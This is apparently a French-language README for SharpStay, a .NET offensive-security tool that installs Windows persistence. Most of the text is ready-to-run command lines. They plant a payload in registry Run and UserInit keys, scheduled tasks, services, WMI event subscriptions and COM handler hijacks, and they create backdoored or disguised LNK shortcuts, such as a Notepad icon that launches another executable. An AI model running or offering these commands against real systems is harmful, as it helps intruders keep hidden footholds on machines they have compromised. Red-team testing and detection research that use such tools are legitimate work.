0xthirteen/sharpstayOutil .NET pour installer une persistance Windows via des clés de registre, des tâches planifiées, des services, des événements WMI, des détournements COM et des backdoors LNK, prenant en charge les contextes élevés et non élevés.
Pour compiler, ouvrez le projet Visual Studio et compilez pour la version finale.
Clés de Registre Élevées
Clé de Registre UserInit Élevée
Tâche Planifiée Élevée
Création de Service Élevée
Abonnement aux Événements WMI Élevé
Clé de Registre InitMprLogonScript Non Élevée
Détournement de Gestionnaire COM de Tâche Planifiée Non Élevé
Dossier de Jonction Non Élevé
Ajout d'Action de Tâche Planifiée (Divers)
Répertoire de Démarrage (Divers)
Nouveau LNK (Divers)
Backdoor LNK (Divers)
Noms de Tâches (Divers)
Lister les Tâches Planifiées (Divers)
Lister les Services en Cours (Divers)
Obtenir les Gestionnaires COM de Tâches Planifiées (Divers)
Sharpstay.exe action=ElevatedRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserInitMprLogonScriptKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ElevatedUserInitKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ScheduledTask taskname=TestTask command="C:\windows\temp\file.exe" runasuser=user1 triggertype=logon author=Microsoft Corp. description="Test Task" logonuser=user1
Sharpstay.exe action=ScheduledTaskAction taskname=TestTask command="C:\Windows\temp\fun.exe" folder="\\" actionid=ExecAction
Sharpstay.exe action=SchTaskCOMHijack clsid={a47af52a-27f9-4426-bd2b-727050712db1} dllpath="C:\windows\temp\fun.dll"
Sharpstay.exe action=CreateService servicename=TestService command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=WMIEventSub command="C:\Windows\temp\fun.exe" eventname=Debugger attime=startup
Sharpstay.exe action=JunctionFolder dllpath="C:\windows\temp\fun.dll guid={a47af52a-27f9-4426-bd2b-727050712db1}
Sharpstay.exe action=NewLNK filepath="C:\users\admin\desktop" lnkname="Notepad.lnk" lnktarget="C:\Windows\temp\file.exe" lnkicon="C:\Windows\system32\notepad.exe"
Sharpstay.exe action=BackdoorLNK command="C:\Windows\temp\fun.exe" lnkpath="C:\users\user\desktop\Excel.lnk"
Sharpstay.exe action=ListTaskNames
Sharpstay.exe action=ListScheduledTasks
Sharpstay.exe action=ListRunningServices
Sharpstay.exe action=GetScheduledTaskCOMHandler
cleanup=true est une option pour chaque type de persistance.
Fait partie de StayKit